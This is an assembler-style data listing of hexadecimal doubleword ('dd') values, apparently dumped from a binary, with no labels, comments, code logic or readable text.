dd 27E973DAh, 0DA98CC46h, 6A013D8Ah, 0FD6E2D5Bh, 0B03E337Ah
dd 9801390Ah, 0E9C2016Dh, 5DD6489Eh, 96C8C05Bh, 62B1F113h
dd 544E657Fh, 0E9E07471h, 154269Ch, 581E0897h, 0A5F91D66h
dd 9F23CE29h, 0E21E8FADh, 84E4DF2Fh, 0D8B428C4h, 0EE8BD2ACh
dd 0F23FEF7Dh, 9AE4D3C4h, 33B634E9h, 1916BB9Eh, 500C38EFh
dd 0FEB9ADC0h, 0F1680A06h, 8FE092Ah, 42E1A0F5h, 295C4130h
dd 484576Ch, 12B635E9h, 33C7321Eh, 76B42EA6h, 0EFFCECF1h
dd 67382565h, 76306B7Ch, 4A522D7Eh, 3CAAE124h, 0BA072B1h
dd 0C1B65558h, 0A10DF69h, 681D46E2h, 32B40120h, 0DF5D080Ah
dd 41CE5149h, 5E63EE9h, 8A6E06FEh, 0EC6FFF9h, 2CDDE3F3h
dd 940B4F6h, 8A84462Bh, 6AE28902h, 9CFB12F5h, 5B0D7B8h
dd 0E32C4012h, 0DC280E79h, 374A3C01h, 1170E94Eh, 0DDC36182h
dd 9D41528Eh, 0B4E320D8h, 0F76EFD82h, 1742730Bh, 2702577Ah
dd 0F1A0D0Ah, 0F62F4EB1h, 0F256F300h, 4FE9D67Dh, 4F26F469h
dd 0F82F1A97h, 25F691F2h, 0A80CC5F0h, 0C6B3516h, 0E026023Fh
dd 1E77E9B6h, 7AA8114Ah, 60B003C0h, 0C00745Dh, 70C86596h
dd 197EDB9h, 0D129994Ch, 3F7417E9h, 0CD50D1B3h, 9174950Fh
dd 4CD3E953h, 2DBB84C3h, 0ACAE0435h, 0BE56B060h, 0AB701FCEh
dd 78893A54h, 868C4363h, 124110F8h, 0BF50D1DCh, 0CC9DF514h
dd 688A882Eh, 28224F23h, 9E955BDFh, 59E916B5h, 0B45C74D5h
dd 25523EC3h, 1E34265h, 61842231h, 49A46DE9h, 58DE00AAh
dd 0EDC130A1h, 3C2960F7h, 545E319Fh, 2F178432h, 1539EFCBh
dd 18D213Ah, 0BB27D19h, 0A420A84h, 7D4F7EB3h, 0A196358Ch
dd 375C97FBh, 88D9004Fh, 4958E931h, 0B171E6Ah, 0C0988C7Ah
dd 86E8DA5Bh, 4CCABBA4h, 0F37C1301h, 0D691684Fh, 905621A7h
dd 6B1D70DDh, 8E61F0AAh, 31632A6h, 283E4E72h, 5FF0E155h
dd 74B78789h, 44DD611Ah, 65E8518Eh, 4A05012Eh, 7F2B1B09h
dd 6D6709CBh, 42082AEBh, 9D08D62Ch, 0BD41B60Ah, 3FE268C1h
dd 0FABC6B56h, 6EF99D5Dh, 0AF045EE5h, 500D47Eh, 73D19E1h
dd 0E42C68F6h, 99C06113h, 9D32521Ch, 0C38FF880h, 0F3FED7C4h
dd 56B3E91Ch, 4B554938h, 0E9C3E6B3h, 0A5E870Bh, 16AEF6C5h
dd 6EB1E1A5h, 0ADD330B6h, 0AE98346h, 0A7EA8458h, 0CAE98314h
dd 0B8160292h, 3BA5592Bh, 13E8AC0h, 12C0D3BFh, 588C4012h
dd 4D56C281h, 0F18C3550h, 0C07F6641h, 252548Bh, 0F7FA870Ah
dd 2118CADFh, 7235BB1Eh, 302C7A12h, 615E42B2h, 684C50C3h
dd 252809C3h, 0C8D38E58h, 0BB3117BDh, 0BB40A06h, 80B8042Eh
dd 0BB349258h, 0FF17CC1Eh, 0EE81E8ADh, 70934574h, 9F6C249Ch
dd 3D0F0C97h, 33957E12h, 0C11F81C2h, 4D3C4D02h, 7E56E027h
dd 0B564F53Dh, 0AF08336h, 0F652FA55h, 0F3DF4F20h, 596C04A4h
dd 680A46DEh, 41EB0106h, 3F790Bh, 0B5B62AC7h, 0D5E9AC87h
dd 0C5EC4E8Bh, 0FE2298E5h, 54F3F8Ah, 0FF431B8Dh, 63141FCBh
dd 0BC5D8614h, 8B875BC7h, 684E31FDh, 6A267EEDh, 0A484A492h
dd 9F597A4Ch, 3CE74F86h, 0ACE84B86h, 0E9843E73h, 4112429Bh
dd 0F66E4790h, 9ADA188Dh, 1EEB2D12h, 89DCCD48h, 97DBADF5h
dd 1C28E0AFh, 55393066h, 0EF433D0Eh, 95B1704Fh, 181A2FDCh
dd 10DBF736h, 0CC4A44E9h, 0B1B84FC0h, 68BF0B7Ch, 7B330416h
dd 25CC863Dh, 0EDA261E5h, 0C5EA0744h, 12A78B13h, 41AD4568h
dd 20953F17h, 56728E90h, 88474A26h, 9DE9A917h, 0BD745ACBh
dd 827F5E51h, 0C4D70197h, 67743015h, 0D2A3C6FDh, 0C0E0762Dh
dd 9ABBF503h, 0EC5F4E29h, 0B2F85F3Fh, 2C8E05D2h, 1699EE93h
dd 0D3B8B3Fh, 0A1DD52E9h, 90D19401h, 26FE37BFh, 43BCC622h
dd 0DE7B7B02h, 6A04A832h, 320FF558h, 12282626h, 5EF13116h
dd 97560AB0h, 4062B163h, 0B12F224h, 867A80FCh, 73DEC27Fh
dd 28F1683Bh, 6A8E2008h, 1306591h, 777A13A8h, 2F853A29h
dd 0BC0364BFh, 0BB91F1F6h, 9B045122h, 0A871A61Ch, 0F50D5069h
dd 9263B009h, 0BE82DF29h, 0D50B4C43h, 132D7680h, 49003A6Ah
dd 0B44E800Dh, 5354072h, 0FC058552h, 1905FA89h, 8E563D8Ch
dd 63126021h, 0F6CFFE00h, 8BE0D75Bh, 0B327863Ch, 831F589Dh
dd 0AF539DEDh, 6812A0ACh, 4C935F0Ch, 430ACFDBh, 9EA0F776h
dd 0D92E6EB1h, 3117C541h, 81DE6A4Bh, 0AC15FA79h, 12E65720h
dd 1629196Ch, 27931928h, 314082DAh, 753F1852h, 0CE0761C4h
dd 13E2197Fh, 5BFEF660h, 0B1935EEFh, 0CCC06E03h, 2D8DC472h
dd 0ECFB52A1h, 5A1BCC01h, 932B310Fh, 44415EA7h, 3096F90Ch
dd 0D411F7Fh, 2A310B7Ah, 0EA9EC774h, 0A677427h, 258118A2h
dd 0FF62407Eh, 0AC12F730h, 39EF2E82h, 5921D509h, 2002DFC9h
dd 6A4A1E62h, 0EC96E2F3h, 0E9CEC15Dh, 0E424428Fh, 82374475h
dd 0BE593F40h, 0F08142B8h, 1E8059CAh, 62FD0328h, 0A9B85002h
dd 622E5D59h, 170082C5h, 261255F9h, 60A09A7Dh, 80776B49h
dd 1498D3F7h, 7B18716h, 0E5FB440Fh, 49AA72D7h, 0DFC20317h
dd 0E9D698F5h, 9E91555Eh, 7FDB2D7Ah, 0BDE96F8Ch, 2EE14970h
dd 8992378Ah, 6AE07E9Ah, 0B93A25E9h, 77658874h, 0D9ECED95h
dd 519843D2h, 3696F541h, 73C0B87Ch, 0F318A0C3h, 522E9C38h
dd 419B8080h, 0E91B16C2h, 59BFCCFh, 0F230378Eh, 0E005EE71h
dd 3B5E46C0h, 0DF8F8A09h, 0E3F8BC14h, 1078136Ch, 0AA749787h
dd 65C8E9D8h, 0FBFBED57h, 1FE30F2Ch, 709B0F88h, 4133780Ch
dd 79FC7350h, 38681914h, 4DF0499h, 0BEA0BFBh, 5A804290h
dd 75602844h, 41099390h, 0D637516Eh, 0EB0901D6h, 2EC3835Dh
dd 6D81E20Ch, 2EF109F3h, 0A0F77FA2h, 7EAAC506h, 0C036038h
dd 3F6EF94Fh, 0DD890BBDh, 0DE95DE16h, 0F5B1423Ch, 5A25906h
dd 65963958h, 0BB8DC056h, 0B7B4049h, 7B70D0Ah, 231EB1C3h
dd 4CFAB760h, 9E2D55FAh, 9547C66Eh, 816AE4D3h, 2B5C4601h
dd 72F4833h, 1E20DB1h, 0E0D1676Ch, 0AD0B7535h, 0DE2933FEh
dd 4E7FC91Dh, 0BFBD0098h, 0E9286210h, 0C7B7FB0Ah, 7AE962D3h
dd 2ABB5DC8h, 69783216h, 502C5B01h, 0A12E16D9h, 4B716168h
dd 51BD0449h, 4FC7C379h, 0F0630306h, 9200F43h, 0ACD7295Eh
dd 220FB039h, 0ED4E5A6Bh, 2FCE0279h, 0E21D9D5Dh, 0D8044BF2h
dd 2C22ACEAh, 282C1ED8h, 90088424h, 0C10B2E82h, 823867D2h
dd 71F013D7h, 76900782h, 9822B10h, 0B5C575A2h, 0E15F3012h
dd 13C0910h, 8FC76077h, 7668D2F7h, 0F11366BDh, 6C5479E9h
dd 40A125B4h, 1AEC40EEh, 487CC592h, 6CFBC26h, 52B4CCh
dd 41B072B6h, 885AF030h, 0CA58C139h, 92CC5CBDh, 3205BD3Dh
dd 957DC45h, 7DC534C1h, 0E712F206h, 2041964h, 0CD425184h
dd 99604559h, 923FE622h, 4075A78Dh, 9FF734AFh, 2106C3E0h
dd 0F1308EA0h, 0A05C73EEh, 40028832h, 0B04D3CC7h, 12E9604Eh
dd 362D0841h, 0D945EB3Ah, 6043E83h, 0D1E0285Bh, 2D5A7D59h
dd 0DDA29B1h, 4457B882h, 96B6813Ah, 8F2D1839h, 8A6CB8F6h
dd 3A5817AFh, 0ABD70D0Fh
dd 4CD1630Dh, 0EF816F8h, 17CB593Ch, 0FC0632E9h, 20F4906Ch
dd 0DC797C4h, 5AE07CAFh, 4E1E7157h, 47915A2Ah, 3E42611Eh
dd 3C57C559h, 6D1DA1C9h, 70BF84C3h, 455468CBh, 0DC64069Eh
dd 0EAB4B9B0h, 0BDF47A80h, 0F6E4EBE1h, 0F0E8585Fh, 0C50B9D06h
dd 0DF4F8F0Eh, 0E94AF743h, 0FB3B10F3h, 0D27490C7h, 0B685906h
dd 0D20B94Eh, 105B5806h, 0AB793D27h, 1733C6CFh, 0DFF7308Ah
dd 5B7720FBh, 0AAE20CC1h, 0B930A422h, 47620441h, 0FCFD0146h
dd 2F0941E9h, 6208E0A4h, 0F2F97D07h, 0F0DDAB49h, 0C180E7F5h
dd 2D04B7E2h, 0C68902FEh, 48E3FD58h, 563CB16h, 68A92DBAh
dd 0F0A65A38h, 0DF0FF504h, 3480AEB8h, 5B986B19h, 73E9AC43h
dd 115AE84Ch, 0C20951E1h, 25F010F6h, 2C1706ECh, 69B144FFh
dd 0C088DCAh, 0D55D1402h, 6884A147h, 14D80D74h, 0EF5F535Eh
dd 0A43DEE78h, 664B3110h, 1B851CDh, 9CDDEF29h, 0B00E4BFBh
dd 0C10E81FDh, 4080200Dh, 65E9CA29h, 2D015F1Fh, 0F68BAD91h
dd 0E95760B8h, 0DBBA2C37h, 0E46E4826h, 5448806Bh, 9F01C1E9h
dd 9F8FADDBh, 0BB87709h, 0C35550C7h, 9F636216h, 7D97ED8Ch
dd 0CE534C0Eh, 36114318h, 42641868h, 11D2FA4Bh, 97D8D45Fh
dd 31414BF9h, 0D798E2F0h, 279DAAC6h, 0B70B24Fh, 63956AE3h
dd 0D94E4EF0h, 7C107FF3h, 0B70F0912h, 8D0D56C0h, 2B5A08DCh
dd 910008E1h, 7E6F2D16h, 75D4B32h, 92293589h, 0B2C55E0Fh
dd 3102B62Ch, 0D722AD10h, 34E78460h, 8005A027h, 0F8E9D7ACh
dd 3ED39DFBh, 314195BDh, 93F92E97h, 2A505A5Ah, 0FDD2AA6h
dd 0C5509E7h, 0C001EF12h, 1E8F0B84h, 0F47E0C83h, 0EDE0B764h
dd 5C504A2Eh, 0D0B0FDC5h, 6231970Fh, 0EEE9C01Fh, 0C10BDE0Fh
dd 0BB407B0Ch, 0C0F1F122h, 0F97B94ABh, 56AF112Ah, 0FD496FF0h
dd 5DE81800h, 25066050h, 6EF00E31h, 43907D4h, 63E02A74h
dd 68CE02ABh, 25608BCh, 794C2E62h, 1BB1EA71h, 8612F93Dh
dd 0B8204A58h, 4AB80748h, 0E99BC8B0h, 0D121853Ah, 2264FC2Eh
dd 0A006122Dh, 5F0DE2F3h, 44292D09h, 0C687B76h, 0C6535809h
dd 0C8BE0468h, 820A4861h, 0FB75B9F7h, 0B055A59Bh, 60BEE914h
dd 0B8E627F9h, 225A553h, 0A0CF4468h, 5C4A753Ah, 666DCDBCh
dd 5E0A12F4h, 6A7051C0h, 89116912h, 11837413h, 6802DC2Ch
dd 90A2416Eh, 0EC5DF7BCh, 84F64AE9h, 898AB1Eh, 5A507E5Dh
dd 2DE50091h, 31F2543Bh, 70A0897h, 0FE31D020h, 0A7485D15h
dd 0AC0BAE04h, 0F5478605h, 55680EF7h, 0BFB22970h, 971347CAh
dd 0BA50307Ch, 170B3CA9h, 91D13159h, 0A8AD2173h, 3D5FE866h
dd 10BAB113h, 0E01C0BE1h, 3EF5251Fh, 9D390D9h, 23DA7555h
dd 5A26CC7Dh, 671113FEh, 60CBB2C7h, 954F18EBh, 0A0E713E2h
dd 25452DEBh, 0A5E95F0Bh, 1EA9D7FAh, 0E02E3E84h, 0C72DFE58h
dd 166B5150h, 0F33A7256h, 0D796D529h, 7F1C9330h, 2D2EFAF5h
dd 0CE5413ACh, 303B8F02h, 5007B0Bh, 0FAAD09B7h, 68160980h
dd 0E9300945h, 5111534Ch, 11DDF018h, 81B622F6h, 703DF225h
dd 5F19547h, 0F5425FCDh, 0C1DAFA5Bh, 5F6D8F62h, 0F6EE2008h
dd 794F7EF2h, 0FB2782BCh, 71BF63F8h, 0A7C96A4Fh, 975609FEh
dd 0F9A0D546h, 96880133h, 6B2A2D48h, 8A0CD7Eh, 0B6095E4Ah
dd 5FC5E22Ch, 0E3204CECh, 2C78BFEEh, 19F8804Ch, 880BD1F6h
dd 407EEE70h, 0ADFE562Bh, 800529B2h, 586614C3h, 53A2FFB8h
dd 7B463BE1h, 0A12F8C9Dh, 3DCDE127h, 0D9EE0316h, 1E62050Ah
dd 5651F5F6h, 41FEE94Dh, 141CA108h, 0A7703502h, 7B517D64h
dd 823BFDA5h, 0F832B018h, 1B800DE0h, 28670E37h, 0CE6933E9h
dd 0BCF8C489h, 502E6439h, 7782A5E8h, 2D03348Ah, 74ECDDDCh
dd 7568FC51h, 0E1CEF359h, 0D724E96Bh, 32BAFA52h, 0D13E06C6h
dd 52D3541h, 78138D00h, 7D294EDCh, 2E8330D3h, 9E685336h
dd 7D69060Bh, 5720D75Bh, 82135A0h, 3099E915h, 0DE4E7699h
dd 0F2AE0284h, 0EB2293F2h, 0A2E95D31h, 6B607F73h, 90BE3A33h
dd 0CAE63575h, 4680AED3h, 0BD02CE68h, 554C074Ch, 7BA7A0F8h
dd 0E9184B36h, 150D732Fh, 0B247F202h, 0F50991D7h, 20E8D5FEh
dd 343F0D2Dh, 22E5806Ch, 51680A07h, 0E1314BE9h, 0F8F27E95h
dd 5631BF96h, 8C2AFF54h, 86B27C0Eh, 5769DE94h, 49867E6h
dd 0A1570720h, 0F1DE0F36h, 8449161Bh, 416A371Fh, 2C6D3A4Bh
dd 0CC0C2577h, 0F81988Ch, 34F2F08h, 0E31601CFh, 0E90C40BDh
dd 6B9F4D31h, 0CB6B5DEBh, 0E9B76166h, 0FA231076h, 6BBF680Bh
dd 5989D2F9h, 0D929A4D4h, 0A1A23C0h, 24357D2Eh, 80183816h
dd 2B411B7h, 0C770EC80h, 0ED2DFC7Fh, 4E4B1843h, 0EE014E15h
dd 6096729h, 0D22E9142h, 5D242F53h, 43503CD6h, 0C3E6BFAFh
dd 0CB41B2F2h, 3A82FC2Fh, 0A7EE3A80h, 0CEC7CDCh, 5B0C30D3h
dd 0B56E925h, 149EF75Dh, 0A5057397h, 54C5B855h, 3249B5Bh
dd 0AB62E955h, 0C1213E09h, 3DDC7458h, 20F5AE96h, 1C517F1Ch
dd 0CF012DB0h, 9EE276Eh, 0B02AE7C1h, 102C2484h, 47622B31h
dd 8560Dh, 53AF23C4h, 9198E0C1h, 90C97F2Dh, 2C64DD05h
dd 10F776D2h, 4CB94BA6h, 8F066E00h, 0F7CD8103h, 2CD66118h
dd 456E60Ch, 0EDC16908h, 0F5858002h, 7A01DF7Dh, 189FBB53h
dd 0F306A31h, 0E7A83ABDh, 1A3DA85Fh, 5F798511h, 0C3E02D44h
dd 42B45013h, 55494004h, 0B8F672E4h, 0D2015343h, 88FD4A70h
dd 384112C6h, 0C8E5C902h, 3F6CB6BBh, 0CC9AF520h, 0F9C4FE25h
dd 1D70CB0Bh, 0F135D05Bh, 0E95CCC3Ah, 8CA5F2Ch, 83A85744h
dd 0C181C45Eh, 9436EFEAh, 7A1CB34Ch, 14053735h, 0F566F582h
dd 0E902B245h, 5D010F81h, 38E445D9h, 0C78A8B94h, 160FF4Eh
dd 0C4FBB151h, 0EA0A8F88h, 0E64ED1DFh, 39E90AF1h, 0EB818431h
dd 57375020h, 5DEC807Fh, 0B0830392h, 0C160B67Fh, 62FE718h
dd 11853034h, 0B401480Fh, 8453222Dh, 8C887718h, 425B1F07h
dd 12401CF9h, 30B86177h, 92E5F33Fh, 0DD9767A3h, 8AA240F2h
dd 3A12962Eh, 7A00D0F7h, 0EFD73CFh, 69C2AE9h, 0B8095EB9h
dd 0BFA0D292h, 0F8664FBCh, 825CC478h, 7EC15FD2h, 94702DAh
dd 8D4D9B7h, 386DC02Fh, 0E7677EE3h, 36DB5DABh, 1025E27Eh
dd 4AE08219h, 0F038E696h, 68F1A88Ah, 48362EBDh, 0F82D011Eh
dd 0D44FA97Dh, 0EC4E2ABFh, 0FCCD64C1h, 0F9E28204h, 0EB059F7Ah
dd 4CD9689Fh, 27A1BE00h, 0D89599Ah, 0F215E9DEh, 3D5E6226h
dd 1AD524CAh, 2D354880h, 9E743E39h, 34F7197Bh, 4F6C7C5Dh
dd 97B2262Ch, 0A5C74425h, 6DC93BFDh, 3AA22361h, 2E926918h
dd 0B8C0B70Ch, 6793EB70h, 58D74763h, 440E74E1h, 0E762FCBh
dd 0FA124651h, 247F688Bh, 4069C263h, 42F83190h, 378460B5h
dd 0EA657C62h, 6EBF16F3h, 5B67BCEDh, 4CE1A9ECh, 0CADD8235h
dd 0F734268Eh, 54EF8D83h, 0A3DD72AAh, 4EF1C5CFh, 8E3CFE70h
dd 931D6061h, 0FA291CC1h, 8249753Bh, 7D413CE1h, 0A4DBC118h
dd 90A3BA04h, 9721FB96h, 0AA160E73h, 0D8B95100h, 0BD3BAE2Eh
dd 0B10BD3DCh, 0F0142AE3h, 0A1E211F3h, 7E8EE33Ah, 0CBC14A0Fh
dd 0E2552227h, 0EB1CA0DFh, 5BFBF534h, 6129FCF2h, 615D6834h
dd 298DAE50h, 0EC449F01h, 185A4627h, 0BC9753C4h, 25A6EA2Fh
dd 311B16D5h, 3E593682h, 6DF26AFBh, 1A711A89h, 0F70E9402h
dd 6498E03Ch, 4B3E090Dh, 0EBE284E9h, 6603AFE5h, 0A50323BAh
dd 5EE6E007h, 43BB4A97h, 0F21609F0h, 0C7D5B26h, 7DA211A8h
dd 0D631182Ch, 55EE125Ah
dd 4E91A09h, 2DF9147h, 50A830B0h, 8B50AC0Dh, 2735789Bh
dd 4BC4AE1Eh, 0ADE90803h, 0E1971682h, 0E2E96752h, 72F273D4h
dd 9C34EA0Fh, 0AA0C6B3Eh, 0C00B4249h, 6F4F2269h, 6F965C24h
dd 1DD236C6h, 0B242F860h, 9F6D415Dh, 88E95E90h, 0D725D494h
dd 2CF1B23Bh, 7F1CA99Ch, 0E2E0F7C9h, 0FC0508E2h, 0D89AE96Ah
dd 0F85F24BFh, 583804D6h, 0D7AF36C3h, 0E95EC0CEh, 0A0B53F7Ah
dd 903ECE22h, 0C0369C4Ah, 52D877B0h, 73533148h, 4D5BE971h
dd 3BB86080h, 96E2547h, 7FC24848h, 503ECF2Fh, 61C00903h
dd 29055531h, 5AD8FE38h, 39AB26FEh, 0D8E32576h, 5809DDE2h
dd 0E95D5E48h, 20E4CB4Dh, 3B61BAE8h, 0B03E5EC5h, 0EA5FD1E9h
dd 17ABD6F0h, 0ACF7453Ah, 0D88914F2h, 7BBF75BCh, 0FF2DA081h
dd 0F849B5E5h, 2A93B082h, 91600F77h, 9A6A5164h, 0A90269BCh
dd 0F53BE17Bh, 0E1009242h, 0CC956333h, 0B65C44B7h, 6B970271h
dd 60D02BA2h, 19FE712Ch, 40AB6C2h, 67B6EB46h, 0D9387201h
dd 3CE0E965h, 0CEB24BA6h, 4FA870DCh, 0D1E2716Ah, 0E91AEF78h
dd 2285E2Bh, 365EBE9h, 54E9CE31h, 0F4A8541Eh, 1314F989h
dd 12084910h, 0C8A0233Ah, 0EDC44A50h, 5249A54Dh, 0C26BF463h
dd 247C26A9h, 6E13D58Eh, 1BEAC064h, 2F978BE7h, 46E5D101h
dd 0AF424113h, 61439856h, 8F248A1Eh, 516597CDh, 76F48E89h
dd 0F79141F2h, 7163CED1h, 572A8CBCh, 5E5C6804h, 0C0FE7E6Eh
dd 2920C9DFh, 0F7EE47ECh, 1C2E030Bh, 3D03751Fh, 34C04EBAh
dd 0C24F3141h, 0E9A073A8h, 88A9BCD1h, 1F04A653h, 0D71B0925h
dd 0CE0EE165h, 2C3610A4h, 0E2F04F15h, 0EEBD114Bh, 3F30492h
dd 52530131h, 63315B68h, 22AD121h, 12B12C63h, 2C2E8CDDh
dd 829E9E4Eh, 5B213384h, 0C8F5E3F5h, 3272E9CDh, 0B7A20AF4h
dd 62C662F0h, 2A93B3C5h, 2415E2Dh, 0F16ACDB9h, 0A5814976h
dd 6A444FE9h, 12B8D320h, 22962F1Fh, 53026BD8h, 9A317DBBh
dd 4EA06040h, 0EC087966h, 30AAB8F3h, 480C17AEh, 0C64FF8BEh
dd 4E581DE0h, 4FB7A387h, 0DC109A8Bh, 3BBA3E9Bh, 2402A418h
dd 34099126h, 86497479h, 54278CDDh, 7E1EEB20h, 0FB5BB701h
dd 0FF435BACh, 0DF5F1D6Ch, 2F69FCE5h, 0D4A78259h, 4F723FDh
dd 0F2676168h, 2831782Dh, 0BEA64951h, 98886D74h, 0C3801CA8h
dd 50EB0593h, 0E408C1B4h, 562393BDh, 5096DEBAh, 0DB5E05D2h
dd 2092AE31h, 0FE9EF922h, 0CC7BE615h, 0E8C1D61Dh, 4CC60590h
dd 0C018CD51h, 0AA291D27h, 3025DF90h, 60577674h, 66220272h
dd 3D4A0BFAh, 5B89E5B2h, 0DAD3B238h, 52B1A691h, 139D484Bh
dd 2291C9E7h, 97BD0EFBh, 32572387h, 7AC7B309h, 0EF1CCA6Ch
dd 7E6805C0h, 98CBAB1Dh, 249FBC4Ah, 589390A5h, 9DBB5D84h
dd 7AE8827Ch, 753CC278h, 0EF749350h, 0E9F42225h, 846C7A8h
dd 5917810Ch, 12839131h, 314804A9h, 47E9F888h, 3E85F4Fh
dd 55C7139Eh, 0F7782930h, 0E828597Dh, 2F136F8Dh, 2AFA7DA6h
dd 0ACA45B4Fh, 9132C2E1h, 0D609010Ch, 31E8D23Ch, 5ED68416h
dd 38673EDDh, 30050527h, 55834F5Dh, 0D423749h, 0DE8BC0D5h
dd 7D3E0044h, 0F64B6AB9h, 6972998h, 2745B4C7h, 53FCE45Eh
dd 2AA8C46Fh, 6A21E0D8h, 0C18F10AAh, 8A75A668h, 0D5F63843h
dd 0BF05F080h, 9F50A460h, 15AC0F74h, 6997E961h, 8A6FF22Ah
dd 4B38D20Ah, 80E52BBh, 0F709DC96h, 0D10BFFD0h, 1EA8A22Ah
dd 612A4DE4h, 16FB3C77h, 7389CC19h, 309489E2h, 281B6E68h
dd 3A16CB2h, 934EE491h, 0A915C101h, 5BE839E9h, 8EEE3494h
dd 0EEB04E31h, 0C7C5C038h, 25694FA8h, 1741E3F6h, 278603Ch
dd 0B309AFA2h, 37F6CA29h, 9056055Bh, 0B9159F35h, 0B70692EAh
dd 2C27AFE7h, 136170EAh, 0E4DBFE14h, 447F680Bh, 5C7C9FB0h
dd 82BA5DF6h, 0FEF3E912h, 0A7D331EDh, 20075827h, 0DD291609h
dd 9679ED5Bh, 3DD838FEh, 0EF59E360h, 4FB3D9A2h, 7EF9A893h
dd 0BACBC254h, 0D33BDA0Fh, 0E5AD454Fh, 8FD034ACh, 0BE958492h
dd 4592BFE6h, 0BFB797DFh, 2F682338h, 39E6552Bh, 1DA616C0h
dd 29E94235h, 2BEFA14h, 467E41A7h, 0EF401C00h, 59D6A127h
dd 39CCA62Eh, 9FE85BD3h, 94C1F52Dh, 837DC2B1h, 9F37F117h
dd 0AEF41DD7h, 0B90287F8h, 21EC4BCBh, 47E0543h, 1C6F1B31h
dd 0E43EEAD1h, 24412BB3h, 66572941h, 67EC6959h, 629691D5h
dd 935DE286h, 0EDAC06E1h, 13522F3Ch, 55E82900h, 73F41BDh
dd 0E5C12D06h, 3A6CCF01h, 53843A56h, 825012C2h, 762B3A7h
dd 57E6C266h, 0A83F575Eh, 0E698F522h, 0E969FC09h, 7B950F4h
dd 0B1ADB652h, 5AF1007Fh, 5970CE88h, 0FF95F05Fh, 0A82FC9E8h
dd 0A24A5A12h, 9BDF947Dh, 532993CFh, 0E1B304C4h, 14CD8823h
dd 582DF540h, 361854E5h, 74F6F85Dh, 910D384Fh, 82040DF2h
dd 491F61BBh, 9E313F36h, 162E208Dh, 0A243E0E1h, 0AD206467h
dd 0D0D0BCE5h, 54BDBEh, 0CE811536h, 3EB510F3h, 4AF6ADB8h
dd 4043472Fh, 5D01703h, 77E9DC2Ah, 0F48BECCEh, 2E9E8BEBh
dd 9900E95Eh, 5A6C2F09h, 4E260D1h, 0F281DAF7h, 43D9980Ch
dd 573664Fh, 14A957Fh, 8CD10D6h, 0E29A924Ah, 0FC475849h
dd 522EE8CFh, 0EA2C5F88h, 0E78C2213h, 0F49E41FFh, 7B9D6B38h
dd 40044BEDh, 5A13A0EDh, 0F925639Fh, 0D47E77C8h, 5D0804ACh
dd 0BF008401h, 0B6CB4CF3h, 5898E052h, 3D89B94Eh, 20AF7C42h
dd 0F370AAEBh, 0A258522Fh, 893657Ch, 125E0995h, 34B1E798h
dd 0E999B207h, 0C6090E8Fh, 0BAA0F406h, 685A0A1Eh, 0C6817BF8h
dd 0B0174941h, 4EEF65Fh, 0B99B7D65h, 63FFD220h, 0AE10DF32h
dd 0FD4B3D1Dh, 0BF74C682h, 13FB970Ah, 73B204CBh, 7E52CEEFh
dd 0B5863F37h, 14DB2767h, 632CF6B8h, 0F3017FA2h, 3D5831C2h
dd 6B2E519Dh, 549DE970h, 69046B3Ch, 76AF12D1h, 0A101ECF3h
dd 0E9052972h, 0BD81E2E6h, 0D74BFFF1h, 0D3132F27h, 8AC4E4A2h
dd 5E24929Fh, 52FA560h, 815FCD00h, 4A1534C9h, 8209676h
dd 2912AB60h, 13C5D4B0h, 0E47B0B53h, 0DE400CF4h, 0B8EF5F01h
dd 51C4D9Eh, 299A2B3Bh, 0B3767C3h, 0E55BE90Dh, 0F8F66614h
dd 46E4DF5Bh, 3F1F1FEDh, 3FF5E4A4h, 0C0162F13h, 7A69BE0Eh
dd 84C17450h, 53E01518h, 1F49205Eh, 0D9E934FCh, 61F8ADD9h
dd 0E959F2F8h, 375E2501h, 6BD46C56h, 77AC001Ah, 0AFF32D40h
dd 12C36E5h, 5FC9D2C6h, 261F5D02h, 70C9BB00h, 31761298h
dd 78EA4CBh, 0D529E6AAh, 0DE62943Ah, 0C370395Ch, 0E91909DFh
dd 86D6015Ah, 3710820h, 0E4F0FFA4h, 5F3A4665h, 1A7D9CEEh
dd 50F94C4Bh, 0E17E982h, 71EC57D2h, 776A7F8Ah, 23B4771h
dd 4A3EACC5h, 0F6F08209h, 1A997597h, 266AD628h, 27F11D80h
dd 511FE47Dh, 39F9315Ah, 0B08596CDh, 0F63BE52Dh, 0E09192E1h
dd 550020B5h, 0D69574FFh, 677FD226h, 9AFFA51Ah, 38C35AE9h
dd 0AA4B6753h, 0BA074E66h, 84E927B2h, 88685B01h, 0BD18506Ch
dd 0C9012250h, 5DEF210Ah, 0E164A3E9h, 8F2D045Ch, 0AB30FF7Eh
dd 8C8B1C04h, 0D44B8116h, 0D770D69Ah, 61912DDh, 5DF9311Ch
dd 0E0091AADh, 0F72D4270h, 702058D8h, 0D4349F69h, 5B6AF69Fh
dd 0F168C709h, 29B1C950h, 0C5894069h, 4CC20756h, 0C9C4DDDEh
dd 552EF80Fh, 0E101863Ch, 18ED7583h, 0C68850Bh, 2A0B11CBh
dd 78B2E97Eh, 0C5801CB1h, 0FF07FF1Ch, 9208E5C0h, 40E03FF5h
dd 0B3B50112h, 0E4AFD90Ch, 53EE5B81h, 0EC73B61Ah, 2CC31B58h
dd 840AF068h, 4AE0A6EBh
dd 9C7AFA4h, 29280B7Fh, 98F6467Fh, 117E2709h, 90E97518h
dd 909C3F4Bh, 5C5E4C59h, 96F36D51h, 0C9F104FCh, 0B412422Ah
dd 0CF4F5AE9h, 510AE849h, 0CBF09F37h, 0FD1E755h, 196A5303h
dd 0EC6DE16Eh, 301E9D7Fh, 2B0E8D3Eh, 0DE297C47h, 4C08EF14h
dd 0BB874485h, 8000AFCh, 0B5F38164h, 2D2F5122h, 0E10E94E9h
dd 0C3EC052h, 155C8B70h, 0C6004F77h, 67072D59h, 0EC664ECBh
dd 5A0740D6h, 7D1211ECh, 0F5E82B26h, 75D40741h, 65660421h
dd 0F5AFB0E9h, 1BAC82ABh, 557EB962h, 0D9492FD9h, 0A3330C3Bh
dd 5927C837h, 59FDF429h, 0CD3E7452h, 31A07400h, 0CBE9018Fh
dd 9DD2D003h, 9105DA07h, 1A82C91Ch, 68015EE2h, 0F6285D4Fh
dd 372F518Fh, 0D35A32C4h, 54A9E039h, 99DFF776h, 10EE90E1h
dd 12CD68A6h, 0BF97E90Ch, 5E7973C7h, 2668E9C5h, 75DF9407h
dd 0AAD37BD0h, 0B055B38Dh, 803CD07h, 4FDD4E99h, 0BA291005h
dd 6BAE6809h, 322D36F7h, 0EF99F9E7h, 0F4FAC07Dh, 0BE12C317h
dd 3CD0721Dh, 0CB1FD7B8h, 0C8C9D3BAh, 0B11CDFC2h, 0CA0FD69Fh
